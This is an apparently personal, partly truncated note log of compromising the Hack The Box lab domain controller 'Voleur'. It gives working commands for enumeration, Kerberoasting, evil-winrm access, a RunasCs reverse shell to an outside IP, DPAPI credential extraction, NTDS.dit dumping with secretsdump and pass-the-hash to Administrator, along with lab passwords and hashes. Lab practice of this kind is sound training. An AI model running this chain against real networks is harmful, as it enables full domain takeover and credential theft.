


# Voleur

📌 Difficulty	Medium
⚙️ Status	In progress

## Overview

 <b>Name</b> Voleur
---

## Machines

Name	IP	Is Pwned	Is in domain	Has AV	Has FW	Operating System	Observations
voleur.htb	10.129.41.62	N/A	Yes	IDK	IDK	Windows Server 2022	

## Attacks & Payloads

Machine	Attack Vector	Prerequisites	Payload	Additional Notes

## Credentials

Username	Hash	Password	Is domain user	Purpose	Additional Notes
ryan.naylor		HollowOct31Nyt			

## Journal

Timestamp	Machine	Note
2:14 PM	voleur.htb	<p>Commence NMAP scanning.</p> <pre> PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldaps 2222/tcp open EtherNetIP-1 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman </pre> <p>NMAP scan completed, time to NXC.</p>
2:19 pm	dc.voleur.htb	<pre> —(kali@kali)-[~/Desktop/HTB Machines/Voleur] └─\$ nxc smb dc.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k --shares --users --rid-brute --groups SMB dc.voleur.htb 445 dc [ ] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False) SMB dc.voleur.htb 445 dc [+] voleur.htb\ryan.naylor:HollowOct31Nyt SMB dc.voleur.htb 445 dc [ ] Enumerated shares SMB dc.voleur.htb 445 dc Share Permissions Remark SMB dc.voleur.htb 445 dc ----- SMB dc.voleur.htb 445 dc ADMIN\$ Remote Admin SMB dc.voleur.htb 445 dc C\$ Default share SMB dc.voleur.htb 445 dc Finance SMB dc.voleur.htb 445 dc HR SMB dc.voleur.htb 445 dc IPC\$ READ Remote IPC SMB dc.voleur.htb 445 dc IT READ SMB dc.voleur.htb 445 dc NETLOGON READ Logon server share SMB dc.voleur.htb 445 dc SYSVOL READ Logon server share SMB dc.voleur.htb 445 dc -Username- -Last PW Set- -BadPW- -Description- SMB dc.voleur.htb 445 dc Administrator 2025-01-28 20:35:13 0 Built-in account for administering the computer/domain SMB dc.voleur.htb 445 dc Guest &lt;never&gt; 0 Built-in account for guest access to the computer/domain SMB dc.voleur.htb 445 dc krbtgt 2025-01-29 08:43:06 0 Key Distribution Center Service Account SMB dc.voleur.htb 445 dc ryan.naylor 2025-01-29 09:26:46 0 First-Line Support Technician SMB dc.voleur.htb 445 dc marie.bryant 2025-01-29 09:21:07 0 First-Line Support Technician SMB dc.voleur.htb 445 dc lacey.miller 2025-01-29 09:20:10 0 Second-Line Support Technician SMB dc.voleur.htb 445 dc svc_ldap 2025-01-29 09:20:54 0 SMB dc.voleur.htb 445 dc svc_backup 2025-01-29 09:20:36 0 SMB dc.voleur.htb 445 dc svc_iis 2025-01-29 09:20:45 0 SMB dc.voleur.htb 445 dc jeremy.combs 2025-01-29 15:10:32 0 Third-Line Support Technician SMB dc.voleur.htb 445 dc svc_winrm 2025-01-31 09:10:12 0 SMB dc.voleur.htb 445 dc [*] Enumerated 11 local users: VOLEUR SMB dc.voleur.htb 445 dc [-] [REMOVED] Arg moved to the ldap protocol SMB dc.voleur.htb 445 dc 498: VOLEUR\Enterprise Read-only Domain Controllers (SidTypeGroup) SMB dc.voleur.htb 445 dc 500: VOLEUR\Administrator (SidTypeUser) SMB dc.voleur.htb 445 dc 501: VOLEUR\Guest (SidTypeUser) SMB dc.voleur.htb 445 dc 502: VOLEUR\krbtgt (SidTypeUser) SMB dc.voleur.htb 445 dc 512: VOLEUR\Domain Admins (SidTypeGroup) SMB dc.voleur.htb 445 dc 513: VOLEUR\Domain Users (SidTypeGroup) SMB dc.voleur.htb 445 dc 514: VOLEUR\Domain Guests (SidTypeGroup) </pre>

Timestamp	Machine	Note
		SMB dc.voleur.htb 445 dc 515: VOLEUR\Domain Computers (SidTypeGroup) SMB dc.voleur.htb 445 dc 516: VOLEUR\Domain Controllers (SidTypeGroup) SMB dc.voleur.htb 445 dc 517: VOLEUR\Cert Publishers (SidTypeAlias) SMB dc.voleur.htb 445 dc 518: VOLEUR\Schema Admins (SidTypeGroup) SMB dc.voleur.htb 445 dc 519: VOLEUR\Enterprise Admins (SidTypeGroup) SMB dc.voleur.htb 445 dc 520: VOLEUR\Group Policy Creator Owners (SidTypeGroup) SMB dc.voleur.htb 445 dc 521: VOLEUR\Read-only Domain Controllers (SidTypeGroup) SMB dc.voleur.htb 445 dc 522: VOLEUR\Cloneable Domain Controllers (SidTypeGroup) SMB dc.voleur.htb 445 dc 525: VOLEUR\Protected Users (SidTypeGroup) SMB dc.voleur.htb 445 dc 526: VOLEUR\Key Admins (SidTypeGroup) SMB dc.voleur.htb 445 dc 527: VOLEUR\Enterprise Key Admins (SidTypeGroup) SMB dc.voleur.htb 445 dc 553: VOLEUR\RAS and IAS Servers (SidTypeAlias) SMB dc.voleur.htb 445 dc 571: VOLEUR\Allowed RODC Password Replication Group (SidTypeAlias) SMB dc.voleur.htb 445 dc 572: VOLEUR\Denied RODC Password Replication Group (SidTypeAlias) SMB dc.voleur.htb 445 dc 1000: VOLEUR\DC\$ (SidTypeUser) SMB dc.voleur.htb 445 dc 1101: VOLEUR\DnsAdmins (SidTypeAlias) SMB dc.voleur.htb 445 dc 1102: VOLEUR\DnsUpdateProxy (SidTypeGroup) SMB dc.voleur.htb 445 dc 1103: VOLEUR\ryan.naylor (SidTypeUser) SMB dc.voleur.htb 445 dc 1104: VOLEUR\marie.bryant (SidTypeUser) SMB dc.voleur.htb 445 dc 1105: VOLEUR\lacey.miller (SidTypeUser) SMB dc.voleur.htb 445 dc 1106: VOLEUR\svc_ldap (SidTypeUser) SMB dc.voleur.htb 445 dc 1107: VOLEUR\svc_backup (SidTypeUser) SMB dc.voleur.htb 445 dc 1108: VOLEUR\svc_iis (SidTypeUser) SMB dc.voleur.htb 445 dc 1109: VOLEUR\jeremy.combs (SidTypeUser) SMB dc.voleur.htb 445 dc 1112: VOLEUR\First-Line Technicians (SidTypeGroup) SMB dc.voleur.htb 445 dc 1113: VOLEUR\Second-Line Technicians (SidTypeGroup) SMB dc.voleur.htb 445 dc 1114: VOLEUR\Third-Line Technicians (SidTypeGroup) SMB dc.voleur.htb 445 dc 1601: VOLEUR\svc_winrm (SidTypeUser) SMB dc.voleur.htb 445 dc 1602: VOLEUR\Restore_Users (SidTypeGroup)
2:23 PM	dc.voleur.htb	<pre> L-\$ smbclient //dc.voleur.htb/IT -U 'VOLEUR.HTB\ryan.naylor%'HollowOct31Nyt Try "help" to get a list of possible commands. smb: \&gt; dir . D 0 Wed Jan 29 04:10:01 2025 .. DHS 0 Mon Jun 30 17:08:33 2025 First-Line Support D 0 Wed Jan 29 04:40:17 2025  5311743 blocks of size 4096. 895252 blocks available smb: \&gt; cd First-Line Support\ cd \First-Line\; NT_STATUS_OBJECT_NAME_NOT_FOUND smb: \&gt; get First-Line Support\ NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \First-Line smb: \&gt; get "First-Line Support\" NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \First-Line Support\ smb: \&gt; cd "First-Line Support\" smb: \First-Line Support\&gt; dir . D 0 Wed Jan 29 04:40:17 2025 .. D 0 Wed Jan 29 04:10:01 2025 Access_Review.xlsx A 16896 Thu Jan 30 09:14:25 2025  5311743 blocks of size 4096. 895252 blocks available smb: \First-Line Support\&gt; get Access_Review.xlsx getting file \First-Line Support\Access_Review.xlsx of size 16896 as Access_Review.xlsx (74.7 KiloBytes/sec) (average 74.7 smb: \First-Line Support\&gt; exit  We got access Access_Review.xlsx </pre>
2:44 PM	dc.voleur.htb	<pre> \$office\$ 2013 100000 256 16 a80811402788c037b50df976864b33f5 500bd7e833dffa28772a49e987be35b*7ec9 </pre> <p>The password is football1 for the file.</p>
2:57 PM	dc.voleur.htb	<p>Ryan.Naylor First-Line Support Technician SMB Has Kerberos Pre-Auth disabled temporarily to test lega</p> <p>Marie.Bryant First-Line Support Technician SMB</p> <p>Lacey.Miller Second-Line Support Technician Remote Management Users</p> <p>Todd.Wolfe Second-Line Support Technician Remote Management Users Leaver. Password was reset to</p> <p>Jeremy.Combs Third-Line Support Technician Remote Management Users. Has access to Software fold</p>

Timestamp	Machine	Note
		<p>Administrator Administrator Domain Admin Not to be used for daily tasks!</p> <p>Service Accounts  svc_backup Windows Backup Speak to Jeremy!  svc_ldap LDAP Services P/W - M1XyC9pW7qT5Vn  svc_iis IIS Administration P/W - N5pXyW1VqM7CZ8  svc_winrm Remote Management Need to ask Lacey as she reset this recently.</p>
3:02 PM	dc.voleur.htb	<pre>bloodyAD -d "voleur.htb" --host "10.129.41.62" -u "svc_ldap" -p "M1XyC9pW7qT5Vn" set object "svc_winrm" servicePrinc</pre> <pre>└─\$ python3 targetedKerberoast.py -k -v -d 'voleur.htb' -u 'svc_ldap@voleur.htb' -p 'M1XyC9pW7qT5Vn' --dc-host d [ ] Starting kerberoast attacks [ ] Fetching usernames from Active Directory with LDAP [VERBOSE] SPN added successfully for (lacey.miller) [+] Printing hash for (lacey.miller) \$krb5tgs\$23\$ lacey.miller\$VOLEUR.HTB\$voleur.htb/lacey.miller\$f968ed2fa617f2e39dc8c1f825f72ae1\$929e35bfc5d4l [VERBOSE] SPN removed successfully for (lacey.miller) [VERBOSE] SPN added successfully for (svc_winrm) [+] Printing hash for (svc_winrm) \$krb5tgs\$23\$ svc_winrm\$VOLEUR.HTB\$voleur.htb/svc_winrm\$095021cc9f32fca01997d2d61ef6b76c\$f0d22353e683l [VERBOSE] SPN removed successfully for (svc_winrm)</pre>
3:50 PM		<pre>svc_winrm:AFireInsidedeOzarctica980219afi</pre> <p>Now we can evil-winrm onto the domain.</p> <pre>kinit svc_winrm</pre> <pre>evil-winrm -r VOLEUR.HTB -i dc.voleur.htb -u 'svc_winrm' -k /</pre> <pre>ldapsearch -x -H ldap://10.129.41.62 -D "svc_ldap@voleur.htb" -w "M1XyC9pW7qT5Vn" -b "CN=Deleted Objects,DC=voleur.htb" -o</pre> <pre>Restore-ADObject -Identity "CN=Todd Wolfe,0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur.htb"</pre>
4:36 PM		<pre>Enable-ADOptionalFeature -Identity 'CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows Features,CN=System</pre> <pre>https://github.com/antonioCoco/RunasCs</pre> <pre>.\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn cmd.exe -r 10.10.14.148:4444</pre>
5:09 PM		<p>We are able to catch a reverse shell with the svc_ldap user and then we can restore the object as we now</p> <pre>Restore-ADObject -Identity "CN=Todd Wolfe,0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur.htb"</pre> <p>We successfully restored the user Todd.Wolfe and then were able to see him enabled, now we should be</p> <pre>Todd.Wolfe:NightT1meP1dg3on14</pre>
		<p>With the creds we then accessed the shares again for Second Line Support and after that we used dpap</p> <pre>C:\Users\\$USER\AppData\Local\Microsoft\Credentials\</pre>

Timestamp	Machine	Note
		C:\Users\%USER%\AppData\Roaming\Microsoft\Credentials\  Username : jeremy.combs Unknown : qT3V9pLXyN7W4m  impacket-getTGT voleur.htb/jeremy.combs:'qT3V9pLXyN7W4m' -dc-ip 10.129.41.62 export KRB5CCNAME=jeremy.combs.ccache  scp -r -P 2222 -i id_rsa svc_backup@10. 129.41.62:"/mnt/c/IT/Third-Line Support/Backups/registry" .  scp -r -P 2222 -i ../id_rsa svc_backup@ 10.129.41.62:"/mnt/c/IT/Third-Line Support/Backups/Active Directory" .  python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -ntds Active\ Directory\ntds.dit -system SYSTEM -h  impacket-getTGT voleur.htb/Administrator@10.129.41.62 -hashes :e656e07c56d83161b577b160b259ad2  export KRB5CCNAME=Administrator@10.129.41.62.ccache  evil-winrm -i dc.voleur.htb -r voleur.htb